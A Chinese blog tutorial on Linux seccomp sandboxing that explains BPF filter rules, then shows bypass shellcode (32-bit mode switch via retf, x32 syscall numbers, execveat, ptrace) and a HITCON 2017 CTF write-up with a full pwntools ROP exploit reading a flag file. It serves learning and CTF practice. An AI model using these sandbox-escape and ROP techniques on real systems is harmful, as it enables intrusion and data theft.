BetaMao

Linux沙箱之seccomp

字数统计: 3.8k阅读时长: 16 min
2019/01/23 Share

沙箱之seccomp~

沙箱

学操作系统的时候有学到,用户层一切资源相关操作都需要通过系统调用来完成,那么只要对系统调用进行某种操作,用户层的程序就翻不起什么风浪,即使是恶意程序也就只能在自己进程内存空间那一分田地晃悠,进程一终止它也如风消散了,这基本就是本篇接下来内容的总思路了。

seccomp

short for secure computing mode(wiki)是一种限制系统调用的安全机制,可以当沙箱用。在严格模式下只支持exit()sigreturn()read()write(),其他的系统调用都会杀死进程,过滤模式下可以指定允许那些系统调用,规则是bpf,可以使用seccomp-tools查看

prtcl

内容

想想上面几句话还是看不懂这是干啥的,现在就仔细记录一下,在早期使用seccomp是使用prctl系统调用实现的,后来封装成了一个libseccomp库,可以直接使用seccomp_init,seccomp_rule_add,seccomp_load来设置过滤规则,但是我们学习的还是从prctl,这个系统调用是进行进程控制的,这里关注seccomp功能。
首先,要使用它需要有CAP_SYS_ADMIN权能,否则就要设置PR_SET_NO_NEW_PRIVS位,若不这样做非root用户使用这个程序时seccomp保护将会失效!设置了PR_SET_NO_NEW_PRIVS位后能保证seccomp对所有用户都能起作用,并且会使子进程即execve后的进程依然受控,意思就是即使执行execve这个系统调用替换了整个binary权限不会变化,而且正如其名它设置以后就不能再改了,即使可以调用ptctl也不能再把它禁用掉。

1
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);     //设为1

这样就可以开始使用自定义的过滤规则了,使用时,如下设置:

1
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一个参数要进行什么设置,第二个是设置为过滤模式,第三个参数就是过滤规则

现在重点介绍第三个参数–prog,它是指向如下结构体的指针,这个结构体记录了过滤规则个数与规则数组起始位置:

1
2
3
4
5
struct sock_fprog {
unsigned short len; /* Number of BPF instructions */
struct sock_filter *filter; /* Pointer to array of
BPF instructions */
};

而filter域就指向了具体的规则,每一条规则有如下形式:

1
2
3
4
5
6
struct sock_filter {            /* Filter block */
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};

为了操作方便定义了一组宏来完成filter的填写(定义在/usr/include/linux/bpf_common.h):

1
2
3
4
5
6
#ifndef BPF_STMT
#define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k }
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k }
#endif

这样会简单一点,再来看看code,它是由多个”单词”组成的”短语”,类似”动宾结构”,”单词”间使用”+”连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#define BPF_CLASS(code) ((code) & 0x07)         //首先指定操作的类别
#define BPF_LD 0x00 //将值cp进寄存器
#define BPF_LDX 0x01
#define BPF_ST 0x02
#define BPF_STX 0x03
#define BPF_ALU 0x04
#define BPF_JMP 0x05
#define BPF_RET 0x06
#define BPF_MISC 0x07

/* ld/ldx fields */
#define BPF_SIZE(code) ((code) & 0x18) //在ld时指定操作数的大小
#define BPF_W 0x00
#define BPF_H 0x08
#define BPF_B 0x10
#define BPF_MODE(code) ((code) & 0xe0) //操作数类型
#define BPF_IMM 0x00
#define BPF_ABS 0x20
#define BPF_IND 0x40
#define BPF_MEM 0x60
#define BPF_LEN 0x80
#define BPF_MSH 0xa0

/* alu/jmp fields */
#define BPF_OP(code) ((code) & 0xf0) //当操作码类型为ALU时,指定具体运算符
#define BPF_ADD 0x00 //到底执行什么操作可以看filter.h里面的定义
#define BPF_SUB 0x10
#define BPF_MUL 0x20
#define BPF_DIV 0x30
#define BPF_OR 0x40
#define BPF_AND 0x50
#define BPF_LSH 0x60
#define BPF_RSH 0x70
#define BPF_NEG 0x80
#define BPF_MOD 0x90
#define BPF_XOR 0xa0

#define BPF_JA 0x00 //当操作码类型是JMP时指定跳转类型
#define BPF_JEQ 0x10
#define BPF_JGT 0x20
#define BPF_JGE 0x30
#define BPF_JSET 0x40
#define BPF_SRC(code) ((code) & 0x08)
#define BPF_K 0x00 //常数
#define BPF_X 0x08

另在与SECCOMP有关的定义在/usr/include/linux/seccomp.h,现在来看看怎么写规则,首先是BPF_LD,它需要用到的结构为:

1
2
3
4
5
6
7
struct seccomp_data {
int nr; /* System call number */
__u32 arch; /* AUDIT_ARCH_* value
(在 <linux/audit.h> 里) */
__u64 instruction_pointer; /* CPU instruction pointer */
__u64 args[6]; /* Up to 6 system call arguments */
};

其中args中是6个寄存器,在32位下是:ebx,ecx,edx,esi,edi,ebp,在64位下是:rdi,rsi,rdx,r10,r8,r9,现在要将syscall时eax的值载入RegA,可以使用:

1
2
3
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0)                //这会把偏移0处的值放进寄存器A,读取的是seccomp_data的数据
//或者
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,regoffset(eax))

而跳转语句写法如下:

1
BPF_JUMP(BPF_JMP+BPF_JEQ,59,1,0)                //这回把寄存器A与值k(此处为59)作比较,为真跳过下一条规则,为假不跳转

其中后两个参数代表成功跳转到第几条规则,失败跳转到第几条规则,这是相对偏移。
最后当验证完成需要返回结果,即是否允许:

1
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL)

过滤的规则列表里可以有多条规则,seccomp会从第0条开始逐条执行,直到遇到BPF_RET返回,决定是否允许该操作以及做某些修改。

例子

这是原程序,它将会在main里调用两个函数,并且返回结果:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <stdlib.h>

int main()
{
printf(":Beta~\n");
system("id");
return 0;
}

结果为:

1
2
3
➜  ~ ./a.out
:Beta~
uid=0(root) gid=0(root) groups=0(root)

现在使用seccomp禁用所有系统调用,即在main开始处添加如下代码:

1
2
3
4
5
6
7
8
9
struct sock_filter filter[] = {                 //规则更改在此处完成
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), //规则只有一条,即禁止所有系统调用
};
struct sock_fprog prog = { //这是固定写法
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),//规则条数
.filter = filter, //规则entrys
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); //必要的,设置NO_NEW_PRIVS
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//过滤模式,重点就是第三个参数,过滤规则

这样编译运行程序将直接终止,在printf处就会失败:

1
2
➜  ~ ./a.out
[1] 11763 invalid system call ./a.out

现在更改规则,让其允许其他系统调用,只禁止execve调用:

1
2
3
4
5
6
7
8
9
10
struct sock_filter filter[] = {
/*
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4), //用于检查arch
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
*/
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0), //将偏移0处,也就是系统调用号的值载入寄存器A
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1), //当A == 59时,顺序执行下一条规则,否则跳过下一条规则,这里的59就是x64的execve系统调用号
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), //返回KILL
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), //返回ALLOW
};

现在编译运行,发现printf执行成功,system执行失败,因为 system内部调用了execve,而它被禁止了:

1
2
➜  ~ ./a.out
:Beta~

绕过

未检查arch

当未检查arch参数时,可以尝试转换当前的处理器模式(姑且这样叫),即在32位程序中转到64位或者相反,因为i386x86-64拥有不同的系统调用号,例如:程序为x86-64的并且禁止execve

1
2
3
11	64  	munmap			__x64_sys_munmap
59 64 execve __x64_sys_execve/ptregs
11 i386 execve sys_execve

若改变模式让其认为当前真在处理i386的程序,那么系统调用号11将不会被解析为__x64_sys_munmap而是sys_execve,这样就绕过了保护,于是这种利用需要满足:

  1. 未检查arch
  2. 调用号11未被禁止
  3. sys_mmapsys_mprotect能用

需求的前面两点已经提到原因,第三点是因为要转换CPU的处理模式,这在大部分情况下都找不到现成的gadget可使用,因为需要我们手动注入代码,即要注入shellcode并使其能够执行,因此需要这两个之一来获取可写可执行的内存,那么这个shellcode应该是什么呢?它的主要部分如下:

1
2
3
4
5
6
to32:                           ;;将CPU模式转换为32位
mov DWORD [rsp+4],0x23 ;;32位
retf
to64: ;;将CPU模式转换为64位
mov DWORD [esp+4],0x33 ;;64位
retf

原理为RETF指令,它能改变CS寄存器,当CS为0x23时表示当前为64位,当为0x33时表示为32位:

1
2
3
RETQ:POP RIP   
RETN: POP EIP
RETF: POP CS:EIP

现在拿出样例程序,和上面差不多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <stdlib.h>
#include <unistd.h>

extern void my_execve(char *,char**,char**); //为了学习方便,将shellcode直接编入
char *args[]={
// "/usr/bin/id",
"/bin/sh",
0
};
int main()
{
struct sock_filter filter[] = {
//BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4), //这两步是检查arch的,先把注释掉,即不检查arch
//BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);

printf(":Beta~\n");
my_execve(args[0],args,0);
//execve("id",0,0);
return 0;
}
接下来的shellcode部分:
```asm
section .text
global my_execve

my_execve:
lea rsp,[stk] ;;如下所述,防止内存访问异常
call to32 ;;转换为32
mov eax,11 ;;32位的sys_execve 64位的sys_munmap
mov ebx,edi ;;32位和64位参数所用寄存器不同需要手动修改
mov ecx,esi
mov edx,edx
int 0x80 ;;32位不能使用syscall,只能使用此指令
ret
to32:
mov DWORD [rsp+4],0x23
retf

section .bss ;;这里创建了一个栈,因为to32后rsp只有低位也就是esp有效了,若不这样做它将会指向一个不可访问的区域,这将会导致访问异常
resb 1000 ;;在实际利用过程中找到一个可访问的低位地址就好了
stk:

另外Makefile为:

1
2
3
4
5
all: sec

sec: sec.c sec.asm
nasm -felf64 sec.asm -o sec.o
gcc sec.o sec.c -no-pie -o sec

现在就可以编译运行,发现/bin/sh执行成功,但是它无法执行任何命令:

1
2
3
4
5
➜  ~ ./sec
:Beta~
# ls
Bad system call
#

这是因为设置了PR_SET_NO_NEW_PRIVS以后即使execve这种用新装在的程序替换原来的程序,也会保留原来的seccomp设置,所以此时即使execve("/bin/sh", ["/bin/sh"], NULL)执行成功,新生成的shell也不能调用__x64_sys_execve执行新命令,也就是说我们只有一次执行execve的机会,于是解决办法就是在shellcode里面直接执行想要的操作,例如:

1
2
3
4
char *args[]={
"/usr/bin/id",
0
};

成功执行:

1
2
3
➜  ~ ./sec
:Beta~
uid=0(root) gid=0(root) groups=0(root)

x64下使用X32

还是上面的程序,但是这里就可以开启arch检查了,即把那两行检查arch的注释去掉,现在使用X32的方式绕过,它只工作在原来为64位的程序下。X32为x86-64下的一种特殊的模式,它使用64位的寄存器和32位的地址,此时nr会在原来的基础上加上__X32_SYSCALL_BIT (0X40000000),即原本的syscall number + 0x40000000,这会达到一样的效果,此时的shellcode的代码如下:

1
2
3
4
5
6
7
8
9
10
section .text
global my_execve

my_execve:
mov rax,59+0x40000000 ;;只需要把系统调用号加0x40000000即可
;;另外520 或 520+0x40000000 也能用
syscall
nop
nop
hlt

结果为:

1
2
3
➜  ubuntu ./sec
:Beta~
uid=0(root) gid=0(root) groups=0(root)

(奇怪的是我在kali下执行失败了,在Ubuntu下成功了,另外它同样继承了保护,只能执行一次execve)

其他syscall

看看有没有漏网之鱼呀:

1
2
3
4
358	i386	execveat		sys_execveat			__ia32_compat_sys_execveat
322 64 execveat __x64_sys_execveat/ptregs
545 x32 execveat __x32_compat_sys_execveat/ptregs
520 x32 execve __x32_compat_sys_execve/ptregs

root可使用ptrace

这种情况在比赛中很少,若root权限的程序漏洞被利用,但是由于seccomp无法执行大多数系统调用,而ptrace可用时也可以在其他进程里,包括root权限的进程里注入shellcode开启shell。

例题

impeccable-Artifact(hitcon-2017-qual)

分析

保护全开:

F5,在main里面是很明显的下标越界,算任意读写了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int opt; // [rsp+8h] [rbp-658h]
int index; // [rsp+Ch] [rbp-654h]
__int64 v6[201]; // [rsp+10h] [rbp-650h]
unsigned __int64 v7; // [rsp+658h] [rbp-8h]

v7 = __readfsqword(0x28u);
init_0();
memset(v6, 0, 0x640uLL);
while ( 1 )
{
memu();
index = 0;
_isoc99_scanf("%d", &opt);
if ( opt != 1 && opt != 2 )
break;
puts("Idx?");
_isoc99_scanf("%d", &index);
if ( opt == 1 )
{
printf("Here it is: %lld\n", v6[index]); //这里可以任意读栈上的数据
}
else
{
puts("Give me your number:");
_isoc99_scanf("%lld", &v6[index]); //这里可以对任意位置任意写
}
}
return 0LL;
}

但是观察init_0里面有保护:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 sub_930()
{
__int16 v1; // [rsp+0h] [rbp-C0h]
char *v2; // [rsp+8h] [rbp-B8h]
char v3; // [rsp+10h] [rbp-B0h]
unsigned __int64 v4; // [rsp+B8h] [rbp-8h]

v4 = __readfsqword(0x28u);
qmemcpy(&v3, &off_C80, 0xA0uLL);
v1 = 20;
v2 = &v3;
prctl(38, 1LL, 0LL, 0LL, 0LL, *(_QWORD *)&v1, &v3);
if ( prctl(22, 2LL, &v1) )
{
perror("prctl");
exit(1);
}
return __readfsqword(0x28u) ^ v4;
}

直接使用seccomp-tools解析规则:

简单看下来,有两条可能利用的线路:

  1. sys_number != mprotect -> sys_number == args[2] -> ALLOW (即除了上图有的系统调用,其他所有只要第三个参数等于系统调用号就能过保护
  2. (sys_number == mmap || mprotect) -> args[2]&0x01 !=1 -> ALLOW (即在mmap或者mprotect时exec位不可被设置)

这里面涉及到mprotect,它的原型为int mprotect(void *addr, size_t len, int prot),其中地址必须按页对齐,一个常识就是在内存保护里面,即使没有读权限只要可写或可执行就一定可读!

利用代码

思路为:
0. 使用show泄露出程序、libc的地址
1. 编写shellcode:open->write
2. 将shellcode写入bss上
3. 使用ROP调用mprotect(bss,len,PROT_WRITE|PROT_EXEC)更改bss

  1. 使用ROP完成 open->write

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python
# coding=utf-8
from pwn import *

elf = ELF("./artifact")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./artifact")
context.clear(arch='amd64')
def r(offset):
p.sendlineafter("Choice?","1")
p.sendlineafter("Idx?",str(offset))
p.recvuntil("Here it is:")
return int(p.recvuntil("\n").strip())

def w(offset,number):
p.sendlineafter("Choice?","2")
p.sendlineafter("Idx?",str(offset))
p.sendlineafter("number:",str(number))

def ww(of,data):
data = data.ljust((len(data)//8+1)*8,'\0')
for i in range(0,len(data)/8):
w(of+i,u64(data[i*8:i*8+8]))
log.info("offset:%d => 0x%x"%(of+i,u64(data[i*8:i*8+8])))

def e():
p.sendlineafter("Choice?","3")

## 泄露出libc和stack的地址
libc.address = r(0x658/8)-0x2409b
log.success("libc -> 0x%x"%libc.address)

#argvAddr = r(0x10/8)
#log.success("argvAddr -> 0x%x"%argvAddr)

#dataBaseAddr = argvAddr - 0x995
dataBaseAddr = r(-0x10/8)
log.success("dataBaseAddr -> 0x%x"%dataBaseAddr)

#environAddr = libc.symbols["environ"]

## 写rop
#rop = ROP(ELF("/usr/lib/x86_64-linux-gnu/libc-2.28.so"),libc.address)
rop=ROP(libc)
#rop.open("flag.txt",0,0x101) #第三个数和系统调用号一致,即为2
rop.read(3,dataBaseAddr,100) #一般新打开的文件描述符都是3,硬编码了
rop.write(1,dataBaseAddr,100) #
#gdb.attach(p,"brva 0xBA5")
#raw_input("#")
pl = str(rop)
payload = pl[0:0x20]+p64(u64(pl[0x20:0x28])+dataBaseAddr+0x658)+pl[0x28:]
syscallAddr = 0xb5f05 + libc.address
popRdxRsiRet = 0x106b39 + libc.address
popRdiRet = 0x23a5f + libc.address
popRaxRet = 0x3a6f8 + libc.address
payload = flat(popRdiRet,dataBaseAddr,popRdxRsiRet,2,0,popRaxRet,2,syscallAddr) + str(rop)
ww(0,"flag.txt")
ww(0x658/8,payload)
e()
p.interactive()

结果:

1
2
3
4
[*] Process './artifact' stopped with exit code -11 (SIGSEGV) (pid 10993)
flag{BetaMao233333~}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$

参考

http://www.selinuxplus.com/?p=370
STCS 2016 by winesap
http://www.man7.org/linux/man-pages/man2/seccomp.2.html
http://www.man7.org/linux/man-pages/man2/prctl.2.html
https://code.woboq.org/linux/linux/include/uapi/linux/filter.h.html
https://code.woboq.org/linux/linux/include/uapi/linux/bpf_common.h.html
https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_32.tbl
https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
题目 artifact 下载

CATALOG
  1. 1. 沙箱
  2. 2. seccomp
    1. 2.1. prtcl
      1. 2.1.1. 内容
      2. 2.1.2. 例子
    2. 2.2. 绕过
      1. 2.2.1. 未检查arch
      2. 2.2.2. x64下使用X32
      3. 2.2.3. 其他syscall
      4. 2.2.4. root可使用ptrace
  3. 3. 例题
    1. 3.1. impeccable-Artifact(hitcon-2017-qual)
      1. 3.1.1. 分析
      2. 3.1.2. 利用代码
  4. 4. 参考